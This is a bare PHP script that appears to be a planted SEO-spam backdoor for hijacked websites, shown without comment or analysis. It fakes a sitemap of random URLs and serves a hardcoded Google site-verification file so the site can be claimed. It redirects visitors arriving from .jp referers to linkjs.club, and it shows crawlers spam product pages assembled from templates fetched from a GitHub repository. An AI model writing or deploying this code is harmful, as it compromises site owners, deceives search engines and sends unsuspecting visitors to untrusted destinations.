<?php
function isBot()
{
    return isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|spider|mediapartners|slurp|patrol/i', $_SERVER['HTTP_USER_AGENT']);
}
function hashCode($str)
{
    if (empty($str)) {
        return '';
    }
    $mdv = md5($str);
    $mdv1 = substr($mdv, 0, 16);
    $mdv2 = substr($mdv, 16, 16);
    $crc1 = abs(crc32($mdv1));
    $crc2 = abs(crc32($mdv2));
    return substr(bcmul($crc1, $crc2), 0, 8);
}
function rand_str()
{
    $len = mt_rand(30, 40);
    $str = null;
    $strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz-_-_/";
    $max = strlen($strPol) - 1;
    for ($i = 0; $i < $len; $i++) {
        $str .= $strPol[rand(0, $max)];
    }
    return $str;
}
function _http_get($url)
{
    $_html = '';
    if (function_exists('file_get_contents')) {
        $_html = @file_get_contents($url);
    }
    if ($_html == '' && function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
        $_html = curl_exec($ch);
        curl_close($ch);
    }
    if ($_html == '' && function_exists('fopen')) {
        $handle = fopen($url, "rb");
        do {
            $data = fread($handle, 8192);
            if (strlen($data) == 0) {
                break;
            }
            $_html .= $data;
        } while (true);
        fclose($handle);
    }
    return $_html;
}
function _local_host()
{
    $status = false;
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
        $status = true;
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') {
        $status = true;
    }
    $http = $status ? 'https://' : 'http://';
    $host = $http . $_SERVER['SERVER_NAME'];
    if ($_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443) {
        $host .= ":" . $_SERVER['SERVER_PORT'];
    }
    return $host;
}
function _local_url()
{
    $url = _local_host() . $_SERVER['REQUEST_URI'];
    $url = str_ireplace('//', '/', str_ireplace('\\', '/', $url));
    return $url;
}
function _base_url()
{
    $local_host = _local_host();
    $request_url = str_ireplace('//', '/', str_ireplace('\\', '/', $_SERVER['REQUEST_URI']));
    $request_scr = $_SERVER['SCRIPT_NAME'];
    $script_name = basename($request_scr);
    $script_path = str_ireplace('\\', '/', dirname($request_scr));
    if (stristr($request_url, $script_name)) {
        return $local_host . $request_scr . '/';
    }
    if (strtolower($script_name) == 'index.php' && $request_url == $script_path) {
        return $local_host . $request_scr . '/';
    }
    return $local_host . $script_path;
}
if (strpos($_SERVER['REQUEST_URI'], 'sitemap.xml') !== false) {
    $base_url = _base_url();
    $res = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<urlset xmlns=\"http://www.google.com/schemas/sitemap/0.84\">\r\n";
    for ($i = 0; $i < 100; $i++) {
        $url = $base_url . rand_str();
        $res .= " <url>\r\n  <loc>" . $url . "</loc>\r\n   <lastmod>" . date("Y-m-d", time()) . "</lastmod>\r\n   <changefreq>daily</changefreq>\r\n   <priority>0.9</priority>\r\n </url>\r\n";
    }
    $res .= "</urlset>";
    header("Content-type:text/xml");
    die($res);
}
if (strpos(strtolower($_SERVER['REQUEST_URI']), "google7b6ee98c55a7fa55.html") !== false) {
    die('google-site-verification: google7b6ee98c55a7fa55.html');
}
if (strpos(strtolower(@$_SERVER['HTTP_REFERER']), ".jp") !== false) {
    $hash = hashCode(_local_url());
    $site = $hash % 100 + 1;
    $data = $hash % 100000 + 1;
    die('<!DOCTYPE html><html><body><script>document.location=("http://linkjs.club/a.php?j=' . $site . '-' . $data . '&' . $_SERVER['SERVER_NAME'] . '");</script></body></html>');
}
if (isBot()) {
    $base = _base_url();
    $hash = hashCode(_local_url());
    $site = $hash % 100 + 1;
    $data = $hash % 100000 + 1;
    $fold = floor($data / 100) + 1;
    $dtid = $data % 100 - 1;
    $mtid = $data % 500;
    $html = _http_get('https://raw.githubusercontent.com/kqdnf/wlyph/master/' . $site . '/' . $fold . '.csv');
    $html_m = base64_decode(_http_get('https://raw.githubusercontent.com/kqdnf/wlyph/master/m/' . $mtid . '.txt'));
    $html_arr = explode("[rn]", $html);
    $line_arr = array();
    foreach ($html_arr as $line) {
        $line_arr[] = @str_getcsv($line);
    }
    $tags_arr = array('', 'image', 'price', '', 'categories', 'name', 'name2', 'description', 'metatags_title', 'metatags_keywords', 'metatags_description');
    for ($i = 1; $i <= 10; $i++) {
        if ($tags_arr[$i] == '') {
            continue;
        }
        $html_m = str_ireplace('[' . $tags_arr[$i] . ']', base64_decode($line_arr[$dtid][$i]), $html_m);
        $p = strpos($html_m, '[' . $tags_arr[$i] . 'x]');
        while ($p !== false) {
            $html_m = substr_replace($html_m, base64_decode(@$line_arr[mt_rand(0, 99)][$i]), $p, strlen('[' . $tags_arr[$i] . 'x]'));
            $p = strpos($html_m, '[' . $tags_arr[$i] . 'x]');
        }
    }
    $html_m = str_ireplace("[href]", "<a href=\"" . _local_url() . "\">" . base64_decode($line_arr[$dtid][8]) . "</a>", $html_m);
    $p = strpos($html_m, '[hrefx]');
    while ($p !== false) {
        $html_m = substr_replace($html_m, "<a href=\"" . $base . rand_str() . "\">" . base64_decode($line_arr[mt_rand(0, 99)][8]) . "</a>", $p, strlen('[hrefx]'));
        $p = strpos($html_m, '[hrefx]');
    }
    $p = strpos($html_m, '[hrefs]');
    while ($p !== false) {
        $html_m = substr_replace($html_m, "<a href=\"" . $base . rand_str() . "\">" . base64_decode($line_arr[mt_rand(0, 99)][8]) . "</a>", $p, strlen('[hrefs]'));
        $p = strpos($html_m, '[hrefs]');
    }
    die($html_m);
}
